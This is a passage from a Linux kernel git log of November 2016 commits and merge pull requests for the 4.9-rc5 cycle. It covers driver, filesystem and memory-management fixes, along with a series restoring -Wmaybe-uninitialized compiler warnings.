lba_shift calculation into lightnvm. It prematurely also subtracted a 512byte shift, which commonly is applied per-command. The 512byte shift being subtracted twice led to data loss when restoring the logical to physical mapping table from device and when issuing I/O commands using rrpc. Fix offset by removing the 512byte shift subtraction when calculating lba_shift. Fixes: b0b4e09c1ae7 "lightnvm: control life of nvm_dev in driver" Reported-by: Javier González Signed-off-by: Matias Bjørling Signed-off-by: Jens Axboe drivers/nvme/host/lightnvm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 86e4ee760ef2f7571e233a3abf065ffd0bb4089d Merge: b9f659b 66f5854 Author: Linus Torvalds Date: Fri Nov 11 17:02:01 2016 -0800 Merge tag 'acpi-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull ACPI fix from Rafael Wysocki: "Fix a recent regression in the 8250_dw serial driver introduced by adding a quirk for the APM X-Gene SoC to it which uncovered an issue related to the handling of built-in device properties in the core ACPI device enumeration code (Heikki Krogerus)" * tag 'acpi-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: ACPI / platform: Add support for build-in properties commit b9f659b810c1f98298f9e756e49920d641a1fd95 Merge: e6251f0 cd16f3d Author: Linus Torvalds Date: Fri Nov 11 16:54:23 2016 -0800 Merge tag 'pm-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm Pull power management fixes from Rafael Wysocki: "These fix two bugs in error code paths in the PM core (system-wide suspend of devices), a device reference leak in the boot-time suspend test code and a cpupower utility regression from the 4.7 cycle. Specifics: - Prevent the PM core from attempting to suspend parent devices if any of their children, whose suspend callbacks were invoked asynchronously, have failed to suspend during the "late" and "noirq" phases of system-wide suspend of devices (Brian Norris). - Prevent the boot-time system suspend test code from leaking a reference to the RTC device used by it (Johan Hovold). - Fix cpupower to use the return value of one of its library functions correctly and restore the correct behavior of it when used for setting cpufreq tunables broken during the 4.7 development cycle (Laura Abbott)" * tag 'pm-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/rafael/linux-pm: PM / sleep: don't suspend parent when async child suspend_{noirq, late} fails PM / sleep: fix device reference leak in test_suspend cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set commit e6251f009bc27ea2c774aefde5dca6b5d2142df4 Merge: e3d183c 0a0a047 Author: Linus Torvalds Date: Fri Nov 11 16:51:50 2016 -0800 Merge tag 'arc-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc Pull ARC fixes from Vineet Gupta: - mmap handler for dma ops as generic handler no longer works for us [Alexey] - Fixes for EZChip platform [Noam] - Fix RTC clocksource driver build issue - ARC IRQ handling fixes [Yuriy] - Revert a recent makefile change which doesn't go well with oldish tools out in the wild * tag 'arc-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/vgupta/arc: ARCv2: MCIP: Use IDU_M_DISTRI_DEST mode if there is only 1 destination core ARC: IRQ: Do not use hwirq as virq and vice versa ARC: [plat-eznps] set default baud for early console ARC: [plat-eznps] remove IPI clear from SMP operations Revert "ARC: build: retire old toggles" ARC: timer: rtc: implement read loop in "C" vs. inline asm ARC: change return value of userspace cmpxchg assist syscall arc: Implement arch-specific dma_map_ops.mmap ARC: [SMP] avoid overriding present cpumask ARC: Enable PERF_EVENTS in nSIM driven platforms commit e3d183c035f6125d7d9ead23a727d9573bef7fd1 Merge: 5f3a5cb 8ec4b73 Author: Linus Torvalds Date: Fri Nov 11 16:48:49 2016 -0800 Merge tag 'platform-drivers-x86-v4.9-3' of git://git.infradead.org/users/dvhart/linux-platform-drivers-x86 Pull x86 platform driver fixes from Darren Hart: "Minor doc fix, a DMI match for ideapad and a fix to toshiba-wmi to avoid loading on non-toshiba systems. Documentation/ABI: - ibm_rtl: The "What:" fields are incomplete toshiba-wmi: - Fix loading the driver on non Toshiba laptops ideapad-laptop: - Add another DMI entry for Yoga 900" * tag 'platform-drivers-x86-v4.9-3' of git://git.infradead.org/users/dvhart/linux-platform-drivers-x86: Documentation/ABI: ibm_rtl: The "What:" fields are incomplete toshiba-wmi: Fix loading the driver on non Toshiba laptops ideapad-laptop: Add another DMI entry for Yoga 900 commit 5f3a5cb8e7d7334cfc42312ff58292bb0e7f5941 Merge: 8233008 d8e9e5e Author: Linus Torvalds Date: Fri Nov 11 16:42:03 2016 -0800 Merge branch 'for-linus' of git://git.kernel.dk/linux-block Pull block fixes from Jens Axboe: "Two small (really, one liners both of them!) fixes that should go into this series: - Request allocation error handling fix for nbd, from Christophe, fixing a regression in this series. - An oops fix for drbd. Not a regression in this series, but stable material. From Richard" * 'for-linus' of git://git.kernel.dk/linux-block: drbd: Fix kernel_sendmsg() usage - potential NULL deref nbd: Fix error handling commit 8233008f5d9703207c2a725cbfb7fd00e7e025e6 Merge: 4fb68f9 bc79c98 Author: Linus Torvalds Date: Fri Nov 11 16:38:26 2016 -0800 Merge tag 'pci-v4.9-fixes-3' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci Pull PCI fixes from Bjorn Helgaas: - Update MAINTAINERS for Intel VMD driver filename - Update Rockchip rk3399 host bridge driver DTS and resets - Fix ROM shadow problem that made some video device initialization fail * tag 'pci-v4.9-fixes-3' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci: PCI: VMD: Update filename to reflect move arm64: dts: rockchip: add three new resets for rk3399 PCIe controller PCI: rockchip: Add three new resets as required properties PCI: Don't attempt to claim shadow copies of ROM commit 4fb68f9789cf80817c16462f070a9107febc1478 Merge: b8b73df 24399f4 Author: Linus Torvalds Date: Fri Nov 11 16:25:28 2016 -0800 Merge tag 'drm-fixes-for-v4.9-rc5' of git://people.freedesktop.org/~airlied/linux Pull drm fixes from Dave Airlie: "AMD, radeon, i915, imx, msm and udl fixes: - amdgpu/radeon have a number of power management regressions and fixes along with some better error checking - imx has a single regression fix - udl has a single kmalloc instead of stack for usb control msg fix - msm has some fixes for modesetting bugs and regressions - i915 has a one fix for a Sandybridge regression along with some others for DP audio. They all seem pretty okay at this stage, we've got one MST fix I know going through process for i915, but I expect it'll be next week" * tag 'drm-fixes-for-v4.9-rc5' of git://people.freedesktop.org/~airlied/linux: (30 commits) drm/udl: make control msg static const. (v2) drm/amd/powerplay: implement get_clock_by_type for iceland. drm/amd/powerplay/smu7: fix checks in smu7_get_evv_voltages (v2) drm/amd/powerplay: update phm_get_voltage_evv_on_sclk for iceland drm/amd/powerplay: propagate errors in phm_get_voltage_evv_on_sclk drm/imx: disable planes before DC drm/amd/powerplay: return false instead of -EINVAL drm/amdgpu/powerplay/smu7: fix unintialized data usage drm/amdgpu: fix crash in acp_hw_fini drm/i915: Limit Valleyview and earlier to only using mappable scanout drm/i915: Round tile chunks up for constructing partial VMAs drm/i915/dp: Extend BDW DP audio workaround to GEN9 platforms drm/i915/dp: BDW cdclk fix for DP audio drm/i915/vlv: Prevent enabling hpd polling in late suspend drm/i915: Respect alternate_ddc_pin for all DDI ports drm/msm: Fix error handling crashes seen when VRAM allocation fails drm/msm/mdp5: 8x16 actually has 8 mixer stages drm/msm/mdp5: no scaling support on RGBn pipes for 8x16 drm/msm/mdp5: handle non-fullscreen base plane case drm/msm: Set CLK_IGNORE_UNUSED flag for PLL clocks ... commit b8b73df3450c9dc953e2bfb4d1f03a4cdd7d8dc6 Merge: 5c03b53 f91346e Author: Linus Torvalds Date: Fri Nov 11 16:23:14 2016 -0800 Merge tag 'mmc-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc Pull MMC fixes from Ulf Hansson: "MMC core: - Fix mmc card initialization for hosts not supporting HW busy detection - Fix mmc_test for sending commands during non-blocking write MMC host: - mxs: Avoid using an uninitialized - sdhci: Restore enhanced strobe setting during runtime resume - sdhci: Fix a couple of reset related issues - dw_mmc: Fix a reset controller issue" * tag 'mmc-v4.9-rc4' of git://git.kernel.org/pub/scm/linux/kernel/git/ulfh/mmc: mmc: mxs: Initialize the spinlock prior to using it mmc: mmc: Use 500ms as the default generic CMD6 timeout mmc: mmc_test: Fix "Commands during non-blocking write" tests mmc: sdhci: Fix missing enhanced strobe setting during runtime resume mmc: sdhci: Reset cmd and data circuits after tuning failure mmc: sdhci: Fix unexpected data interrupt handling mmc: sdhci: Fix CMD line reset interfering with ongoing data transfer mmc: dw_mmc: add the "reset" as name of reset controller Documentation: synopsys-dw-mshc: add binding for reset-names commit 5c03b53cb7386a5a9ee16b50de4d77d5cd06a438 Merge: 015ed94 a33547c Author: Linus Torvalds Date: Fri Nov 11 16:21:20 2016 -0800 Merge tag 'pinctrl-v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl Pull pin control fixes from Linus Walleij: "All is about drivers, no core business going on. - Fix a host of runtime problems with the Intel Cherryview driver: suspend/resume needs to be marshalled properly, and strange effects from BIOS interaction during suspend/resume need to be dealt with. - A single bit was being set wrong in the Aspeed driver. - Fix an iProc probe ordering fallout resulting from v4.9 refactorings for bus population. - Do not specify a default trigger in the ST Micro cascaded GPIO IRQ controller: the kernel will moan. - Make IRQs optional altogether on the STM32 driver, it turns out not all systems have them or want them. - Fix a re-probe bug in the i.MX driver, it will eventually crash if probed repeatedly, not good" * tag 'pinctrl-v4.9-3' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl: pinctrl-aspeed-g5: Never set SCU90[6] pinctrl: cherryview: Prevent possible interrupt storm on resume pinctrl: cherryview: Serialize register access in suspend/resume pinctrl: imx: reset group index on probe pinctrl: stm32: move gpio irqs binding to optional pinctrl: stm32: remove dependency with interrupt controller pinctrl: st: don't specify default interrupt trigger pinctrl: iproc: Fix iProc and NSP GPIO support commit 12e460649a01f34753c3b1a2ff6fd5f655e03097 Author: Fabio Estevam Date: Fri Nov 11 16:52:46 2016 -0600 MAINTAINERS: Add devicetree binding to PCI i.MX6 entry Add an entry for the devicetree binding file, so that when people run ./scripts/get_maintainer.pl the PCI imx6 maintainers could also be listed. Signed-off-by: Fabio Estevam Signed-off-by: Bjorn Helgaas Acked-by: Lucas Stach MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit 286fbaef149f2054b1d13be2536e75ae4a52e2fe Author: Fabio Estevam Date: Fri Nov 11 16:52:38 2016 -0600 MAINTAINERS: Update Richard Zhu's email address FSL emails may become invalid soon, so switch to the NXP one. Signed-off-by: Fabio Estevam Signed-off-by: Bjorn Helgaas Acked-by: Richard Zhu MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cd16f3dcdb1817956277fbeee0746ae1eb4f851a Merge: bc33b0c c25badc 6f75c3f Author: Rafael J. Wysocki Date: Fri Nov 11 23:24:58 2016 +0100 Merge branches 'pm-tools-fixes' and 'pm-sleep-fixes' * pm-tools-fixes: cpupower: Correct return type of cpu_power_is_cpu_online() in cpufreq-set * pm-sleep-fixes: PM / sleep: don't suspend parent when async child suspend_{noirq, late} fails PM / sleep: fix device reference leak in test_suspend commit 66f5854c6894dc028fc13345838c6f82bfcfef0c Merge: bc33b0c 1571875 Author: Rafael J. Wysocki Date: Fri Nov 11 23:23:02 2016 +0100 Merge branch 'device-properties' * device-properties: ACPI / platform: Add support for build-in properties commit 015ed9433be2b476ec7e2e6a9a411a56e3b5b035 Merge: 968ef8d 4324cb2 Author: Linus Torvalds Date: Fri Nov 11 10:03:01 2016 -0800 Merge branch 'maybe-uninitialized' (patches from Arnd) Merge fixes for -Wmaybe-uninitialized from Arnd Bergmann: "It took a while for some patches to make it into mainline through maintainer trees, but the 28-patch series is now reduced to 10, with one tiny patch added at the end. Aside from patches that are no longer required, I did these changes compared to version 1: - Dropped "iio: maxim_thermocouple: detect invalid storage size in read()", which is currently in linux-next as commit 32cb7d27e65d. This is the only remaining warning I see for a couple of corner cases (kbuild bot reports it on blackfin, kernelci bot and arm-soc bot both report it on arm64) - Dropped "brcmfmac: avoid maybe-uninitialized warning in brcmf_cfg80211_start_ap", which is currently in net/master merge pending. - Dropped two x86 patches, "x86: math-emu: possible uninitialized variable use" and "x86: mark target address as output in 'insb' asm" as they do not seem to trigger for a default build, and I got no feedback on them. Both of these are ancient issues and seem harmless, I will send them again to the x86 maintainers once the rest is merged. - Dropped "rbd: false-postive gcc-4.9 -Wmaybe-uninitialized" based on feedback from Ilya Dryomov, who already has a different fix queued up for v4.10. The kbuild bot reports this as a warning for xtensa. - Replaced "crypto: aesni: avoid -Wmaybe-uninitialized warning" with a simpler patch, this one always triggers but my first solution would not be safe for linux-4.9 any more at this point. I'll follow up with the larger patch as a cleanup for 4.10. - Replaced "dib0700: fix nec repeat handling" with a better one, contributed by Sean Young" * -Wmaybe-uninitialized fixes: Kbuild: enable -Wmaybe-uninitialized warnings by default pcmcia: fix return value of soc_pcmcia_regulator_set infiniband: shut up a maybe-uninitialized warning crypto: aesni: shut up -Wmaybe-uninitialized warning rc: print correct variable for z8f0811 dib0700: fix nec repeat handling s390: pci: don't print uninitialized data for debugging nios2: fix timer initcall return value x86: apm: avoid uninitialized data NFSv4.1: work around -Wmaybe-uninitialized warning Kbuild: enable -Wmaybe-uninitialized warning for "make W=1" commit 968ef8de555bf3ff6dda467e53660b4144ba0ee1 Merge: c5e4ca6 ae65a21 Author: Linus Torvalds Date: Fri Nov 11 09:44:23 2016 -0800 Merge branch 'akpm' (patches from Andrew) Merge misc fixes from Andrew Morton: "15 fixes" * emailed patches from Andrew Morton : lib/stackdepot: export save/fetch stack for drivers mm: kmemleak: scan .data.ro_after_init memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB coredump: fix unfreezable coredumping task mm/filemap: don't allow partially uptodate page for pipes mm/hugetlb: fix huge page reservation leak in private mapping error paths ocfs2: fix not enough credit panic Revert "console: don't prefer first registered if DT specifies stdout-path" mm: hwpoison: fix thp split handling in memory_failure() swapfile: fix memory corruption via malformed swapfile mm/cma.c: check the max limit for cma allocation scripts/bloat-o-meter: fix SIGPIPE shmem: fix pageflags after swapping DMA32 object mm, frontswap: make sure allocated frontswap map is assigned mm: remove extra newline from allocation stall warning commit c5e4ca6da93f69939542385ca23d7ccebddc3f7d Merge: ef091b3 e519e77 Author: Linus Torvalds Date: Fri Nov 11 09:19:01 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs Pull VFS fixes from Al Viro: "Christoph's and Jan's aio fixes, fixup for generic_file_splice_read (removal of pointless detritus that actually breaks it when used for gfs2 ->splice_read()) and fixup for generic_file_read_iter() interaction with ITER_PIPE destinations." * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/viro/vfs: splice: remove detritus from generic_file_splice_read() mm/filemap: don't allow partially uptodate page for pipes aio: fix freeze protection of aio writes fs: remove aio_run_iocb fs: remove the never implemented aio_fsync file operation aio: hold an extra file reference over AIO read/write operations commit ef091b3cef2d699568b51559ae8340b996f43230 Merge: ef5beed 264048a Author: Linus Torvalds Date: Fri Nov 11 09:17:10 2016 -0800 Merge tag 'ceph-for-4.9-rc5' of git://github.com/ceph/ceph-client Pull Ceph fixes from Ilya Dryomov: "Ceph's ->read_iter() implementation is incompatible with the new generic_file_splice_read() code that went into -rc1. Switch to the less efficient default_file_splice_read() for now; the proper fix is being held for 4.10. We also have a fix for a 4.8 regression and a trival libceph fixup" * tag 'ceph-for-4.9-rc5' of git://github.com/ceph/ceph-client: libceph: initialize last_linger_id with a large integer libceph: fix legacy layout decode with pool 0 ceph: use default file splice read callback commit ef5beed9985093da1ac74210abae5cad11530543 Merge: a4fac3b 62bdf94 Author: Linus Torvalds Date: Fri Nov 11 09:15:30 2016 -0800 Merge tag 'nfs-for-4.9-3' of git://git.linux-nfs.org/projects/anna/linux-nfs Pull NFS client bugfixes from Anna Schumaker: "Most of these fix regressions in 4.9, and none are going to stable this time around. Bugfixes: - Trim extra slashes in v4 nfs_paths to fix tools that use this - Fix a -Wmaybe-uninitialized warnings - Fix suspicious RCU usages - Fix Oops when mounting multiple servers at once - Suppress a false-positive pNFS error - Fix a DMAR failure in NFS over RDMA" * tag 'nfs-for-4.9-3' of git://git.linux-nfs.org/projects/anna/linux-nfs: xprtrdma: Fix DMAR failure in frwr_op_map() after reconnect fs/nfs: Fix used uninitialized warn in nfs4_slot_seqid_in_use() NFS: Don't print a pNFS error if we aren't using pNFS NFS: Ignore connections that have cl_rpcclient uninitialized SUNRPC: Fix suspicious RCU usage NFSv4.1: work around -Wmaybe-uninitialized warning NFS: Trim extra slash in v4 nfs_path commit a4fac3b5d18204b64ea7adf383c4e166358c0a79 Merge: 27bcd37 b77428b Author: Linus Torvalds Date: Fri Nov 11 09:13:48 2016 -0800 Merge tag 'xfs-fixes-for-linus-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs Pull xfs fix from Dave Chinner: "This is a fix for an unmount hang (regression) when the filesystem is shutdown. It was supposed to go to you for -rc3, but I accidentally tagged the commit prior to it in that pullreq. Summary: - fix for aborting deferred transactions on filesystem shutdown" * tag 'xfs-fixes-for-linus-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/dgc/linux-xfs: xfs: defer should abort intent items if the trans roll fails commit 4324cb23f4569edcf76e637cdb3c1dfe8e8a85e4 Author: Arnd Bergmann Date: Thu Nov 10 17:44:54 2016 +0100 Kbuild: enable -Wmaybe-uninitialized warnings by default Previously the warnings were added back at the W=1 level and above, this now turns them on again by default, assuming that we have addressed all warnings and again have a clean build for v4.10. I found a number of new warnings in linux-next already and submitted bugfixes for those. Hopefully they are caught by the 0day builder in the future as soon as this patch is merged. Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds scripts/Makefile.extrawarn | 2 -- 1 file changed, 2 deletions(-) commit 75ed26878b4cc0ca1c9d8ed5a642b45b60c231d9 Author: Arnd Bergmann Date: Thu Nov 10 17:44:53 2016 +0100 pcmcia: fix return value of soc_pcmcia_regulator_set The newly introduced soc_pcmcia_regulator_set() function sometimes returns without setting its return code, as shown by this warning: drivers/pcmcia/soc_common.c: In function 'soc_pcmcia_regulator_set': drivers/pcmcia/soc_common.c:112:5: error: 'ret' may be used uninitialized in this function [-Werror=maybe-uninitialized] This changes it to propagate the regulator_disable() result instead. Fixes: ac61b6001a63 ("pcmcia: soc_common: add support for Vcc and Vpp regulators") Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds drivers/pcmcia/soc_common.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c50e90d0d2bc489901c9adb825609cbbb2f7ffa1 Author: Arnd Bergmann Date: Thu Nov 10 17:44:52 2016 +0100 infiniband: shut up a maybe-uninitialized warning Some configurations produce this harmless warning when built with gcc -Wmaybe-uninitialized: infiniband/core/cma.c: In function 'cma_get_net_dev': infiniband/core/cma.c:1242:12: warning: 'src_addr_storage.sin_addr.s_addr' may be used uninitialized in this function [-Wmaybe-uninitialized] I previously reported this for the powerpc64 defconfig, but have now reproduced the same thing for x86 as well, using gcc-5 or higher. The code looks correct to me, and this change just rearranges it by making sure we alway initialize the entire address structure to make the warning disappear. My first approach added an initialization at the time of the declaration, which Doug commented may be too costly, so I hope this version doesn't add overhead. Link: http://arm-soc.lixom.net/buildlogs/mainline/v4.7-rc6/buildall.powerpc.ppc64_defconfig.log.passed Link: https://patchwork.kernel.org/patch/9212825/ Acked-by: Haggai Eran Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds drivers/infiniband/core/cma.c | 54 ++++++++++++++++++++++--------------------- 1 file changed, 28 insertions(+), 26 deletions(-) commit beae2c9eb500d5509feb9fd148d34d97a9b1d276 Author: Arnd Bergmann Date: Thu Nov 10 17:44:51 2016 +0100 crypto: aesni: shut up -Wmaybe-uninitialized warning The rfc4106 encrypy/decrypt helper functions cause an annoying false-positive warning in allmodconfig if we turn on -Wmaybe-uninitialized warnings again: arch/x86/crypto/aesni-intel_glue.c: In function ‘helper_rfc4106_decrypt’: include/linux/scatterlist.h:67:31: warning: ‘dst_sg_walk.sg’ may be used uninitialized in this function [-Wmaybe-uninitialized] The problem seems to be that the compiler doesn't track the state of the 'one_entry_in_sg' variable across the kernel_fpu_begin/kernel_fpu_end section. This takes the easy way out by adding a bogus initialization, which should be harmless enough to get the patch into v4.9 so we can turn on this warning again by default without producing useless output. A follow-up patch for v4.10 rearranges the code to make the warning go away. Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds arch/x86/crypto/aesni-intel_glue.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9cdbe14fb468586454d26d7ff878e7b698449727 Author: Arnd Bergmann Date: Thu Nov 10 17:44:50 2016 +0100 rc: print correct variable for z8f0811 A recent rework accidentally left a debugging printk untouched while changing the meaning of the variables, leading to an uninitialized variable being printed: drivers/media/i2c/ir-kbd-i2c.c: In function 'get_key_haup_common': drivers/media/i2c/ir-kbd-i2c.c:62:2: error: 'toggle' may be used uninitialized in this function [-Werror=maybe-uninitialized] This prints the correct one instead, as we did before the patch. Fixes: 00bb820755ed ("[media] rc: Hauppauge z8f0811 can decode RC6") Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds drivers/media/i2c/ir-kbd-i2c.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ba13e98f2cebd55a3744c5ffaa08f9dca73bf521 Author: Sean Young Date: Thu Nov 10 17:44:49 2016 +0100 dib0700: fix nec repeat handling When receiving a nec repeat, ensure the correct scancode is repeated rather than a random value from the stack. This removes the need for the bogus uninitialized_var() and also fixes the warnings: drivers/media/usb/dvb-usb/dib0700_core.c: In function ‘dib0700_rc_urb_completion’: drivers/media/usb/dvb-usb/dib0700_core.c:679: warning: ‘protocol’ may be used uninitialized in this function [sean addon: So after writing the patch and submitting it, I've bought the hardware on ebay. Without this patch you get random scancodes on nec repeats, which the patch indeed fixes.] Signed-off-by: Sean Young Tested-by: Sean Young Cc: stable@vger.kernel.org Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds drivers/media/usb/dvb-usb/dib0700_core.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 92dfffee974f75c28b0c89f31318669091de1ec3 Author: Arnd Bergmann Date: Thu Nov 10 17:44:48 2016 +0100 s390: pci: don't print uninitialized data for debugging gcc correctly warns about an incorrect use of the 'pa' variable in case we pass an empty scatterlist to __s390_dma_map_sg: arch/s390/pci/pci_dma.c: In function '__s390_dma_map_sg': arch/s390/pci/pci_dma.c:309:13: warning: 'pa' may be used uninitialized in this function [-Wmaybe-uninitialized] This adds a bogus initialization to the function to sanitize the debug output. I would have preferred a solution without the initialization, but I only got the report from the kbuild bot after turning on the warning again, and didn't manage to reproduce it myself. Signed-off-by: Arnd Bergmann Acked-by: Sebastian Ott Acked-by: Martin Schwidefsky Signed-off-by: Linus Torvalds arch/s390/pci/pci_dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 069013a9e2bbf1ace3f796cb664023dcd40730f7 Author: Arnd Bergmann Date: Thu Nov 10 17:44:47 2016 +0100 nios2: fix timer initcall return value When called more than twice, the nios2_time_init() function return an uninitialized value, as detected by gcc -Wmaybe-uninitialized arch/nios2/kernel/time.c: warning: 'ret' may be used uninitialized in this function This makes it return '0' here, matching the comment above the function. Acked-by: Ley Foon Tan Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds arch/nios2/kernel/time.c | 1 + 1 file changed, 1 insertion(+) commit 3a6d867612dce2035ca50cb02e7871d27c86aa72 Author: Arnd Bergmann Date: Thu Nov 10 17:44:46 2016 +0100 x86: apm: avoid uninitialized data apm_bios_call() can fail, and return a status in its argument structure. If that status however is zero during a call from apm_get_power_status(), we end up using data that may have never been set, as reported by "gcc -Wmaybe-uninitialized": arch/x86/kernel/apm_32.c: In function ‘apm’: arch/x86/kernel/apm_32.c:1729:17: error: ‘bx’ may be used uninitialized in this function [-Werror=maybe-uninitialized] arch/x86/kernel/apm_32.c:1835:5: error: ‘cx’ may be used uninitialized in this function [-Werror=maybe-uninitialized] arch/x86/kernel/apm_32.c:1730:17: note: ‘cx’ was declared here arch/x86/kernel/apm_32.c:1842:27: error: ‘dx’ may be used uninitialized in this function [-Werror=maybe-uninitialized] arch/x86/kernel/apm_32.c:1731:17: note: ‘dx’ was declared here This changes the function to return "APM_NO_ERROR" here, which makes the code more robust to broken BIOS versions, and avoids the warning. Signed-off-by: Arnd Bergmann Reviewed-by: Jiri Kosina Reviewed-by: Luis R. Rodriguez Signed-off-by: Linus Torvalds arch/x86/kernel/apm_32.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit e84efa32b9d2763fb92e73c8942100d8f55ad4ed Author: Arnd Bergmann Date: Thu Nov 10 17:44:45 2016 +0100 NFSv4.1: work around -Wmaybe-uninitialized warning A bugfix introduced a harmless gcc warning in nfs4_slot_seqid_in_use if we enable -Wmaybe-uninitialized again: fs/nfs/nfs4session.c:203:54: error: 'cur_seq' may be used uninitialized in this function [-Werror=maybe-uninitialized] gcc is not smart enough to conclude that the IS_ERR/PTR_ERR pair results in a nonzero return value here. Using PTR_ERR_OR_ZERO() instead makes this clear to the compiler. Fixes: e09c978aae5b ("NFSv4.1: Fix Oopsable condition in server callback races") Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds fs/nfs/nfs4session.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit a76bcf557ef408b368cf26f52a60865bfc27b632 Author: Arnd Bergmann Date: Thu Nov 10 17:44:44 2016 +0100 Kbuild: enable -Wmaybe-uninitialized warning for "make W=1" Traditionally, we have always had warnings about uninitialized variables enabled, as this is part of -Wall, and generally a good idea [1], but it also always produced false positives, mainly because this is a variation of the halting problem and provably impossible to get right in all cases [2]. Various people have identified cases that are particularly bad for false positives, and in commit e74fc973b6e5 ("Turn off -Wmaybe-uninitialized when building with -Os"), I turned off the warning for any build that was done with CC_OPTIMIZE_FOR_SIZE. This drastically reduced the number of false positive warnings in the default build but unfortunately had the side effect of turning the warning off completely in 'allmodconfig' builds, which in turn led to a lot of warnings (both actual bugs, and remaining false positives) to go in unnoticed. With commit 877417e6ffb9 ("Kbuild: change CC_OPTIMIZE_FOR_SIZE definition") enabled the warning again for allmodconfig builds in v4.7 and in v4.8-rc1, I had finally managed to address all warnings I get in an ARM allmodconfig build and most other maybe-uninitialized warnings for ARM randconfig builds. However, commit 6e8d666e9253 ("Disable "maybe-uninitialized" warning globally") was merged at the same time and disabled it completely for all configurations, because of false-positive warnings on x86 that I had not addressed until then. This caused a lot of actual bugs to get merged into mainline, and I sent several dozen patches for these during the v4.9 development cycle. Most of these are actual bugs, some are for correct code that is safe because it is only called under external constraints that make it impossible to run into the case that gcc sees, and in a few cases gcc is just stupid and finds something that can obviously never happen. I have now done a few thousand randconfig builds on x86 and collected all patches that I needed to address every single warning I got (I can provide the combined patch for the other warnings if anyone is interested), so I hope we can get the warning back and let people catch the actual bugs earlier. This reverts the change to disable the warning completely and for now brings it back at the "make W=1" level, so we can get it merged into mainline without introducing false positives. A follow-up patch enables it on all levels unless some configuration option turns it off because of false-positives. Link: https://rusty.ozlabs.org/?p=232 [1] Link: https://gcc.gnu.org/wiki/Better_Uninitialized_Warnings [2] Signed-off-by: Arnd Bergmann Signed-off-by: Linus Torvalds Makefile | 10 ++++++---- arch/arc/Makefile | 4 +++- scripts/Makefile.extrawarn | 3 +++ scripts/Makefile.ubsan | 4 ++++ 4 files changed, 16 insertions(+), 5 deletions(-) commit ae65a21fb851f09bf6341761d884fb86b644b75a Author: Chris Wilson Date: Thu Nov 10 10:46:47 2016 -0800 lib/stackdepot: export save/fetch stack for drivers Some drivers would like to record stacktraces in order to aide leak tracing. As stackdepot already provides a facility for only storing the unique traces, thereby reducing the memory required, export that functionality for use by drivers. The code was originally created for KASAN and moved under lib in commit cd11016e5f521 ("mm, kasan: stackdepot implementation. Enable stackdepot for SLAB") so that it could be shared with mm/. In turn, we want to share it now with drivers. Link: http://lkml.kernel.org/r/20161108133209.22704-1-chris@chris-wilson.co.uk Signed-off-by: Chris Wilson Cc: Andrey Ryabinin Cc: Alexander Potapenko Cc: Dmitry Vyukov Cc: Joonsoo Kim Cc: "Kirill A. Shutemov" Cc: Daniel Vetter Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/stackdepot.c | 2 ++ 1 file changed, 2 insertions(+) commit d7c19b066dcf4bd19c4385e8065558d4e74f9e73 Author: Jakub Kicinski Date: Thu Nov 10 10:46:44 2016 -0800 mm: kmemleak: scan .data.ro_after_init Limit the number of kmemleak false positives by including .data.ro_after_init in memory scanning. To achieve this we need to add symbols for start and end of the section to the linker scripts. The problem was been uncovered by commit 56989f6d8568 ("genetlink: mark families as __ro_after_init"). Link: http://lkml.kernel.org/r/1478274173-15218-1-git-send-email-jakub.kicinski@netronome.com Reviewed-by: Catalin Marinas Signed-off-by: Jakub Kicinski Cc: Arnd Bergmann Cc: Cong Wang Cc: Johannes Berg Cc: Martin Schwidefsky Cc: Heiko Carstens Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/s390/kernel/vmlinux.lds.S | 2 ++ include/asm-generic/sections.h | 3 +++ include/asm-generic/vmlinux.lds.h | 5 ++++- mm/kmemleak.c | 1 + 4 files changed, 10 insertions(+), 1 deletion(-) commit f773e36de3d77c4000ca914c9d146f55f2fd51e8 Author: Greg Thelen Date: Thu Nov 10 10:46:41 2016 -0800 memcg: prevent memcg caches to be both OFF_SLAB & OBJFREELIST_SLAB While testing OBJFREELIST_SLAB integration with pagealloc, we found a bug where kmem_cache(sys) would be created with both CFLGS_OFF_SLAB & CFLGS_OBJFREELIST_SLAB. When it happened, critical allocations needed for loading drivers or creating new caches will fail. The original kmem_cache is created early making OFF_SLAB not possible. When 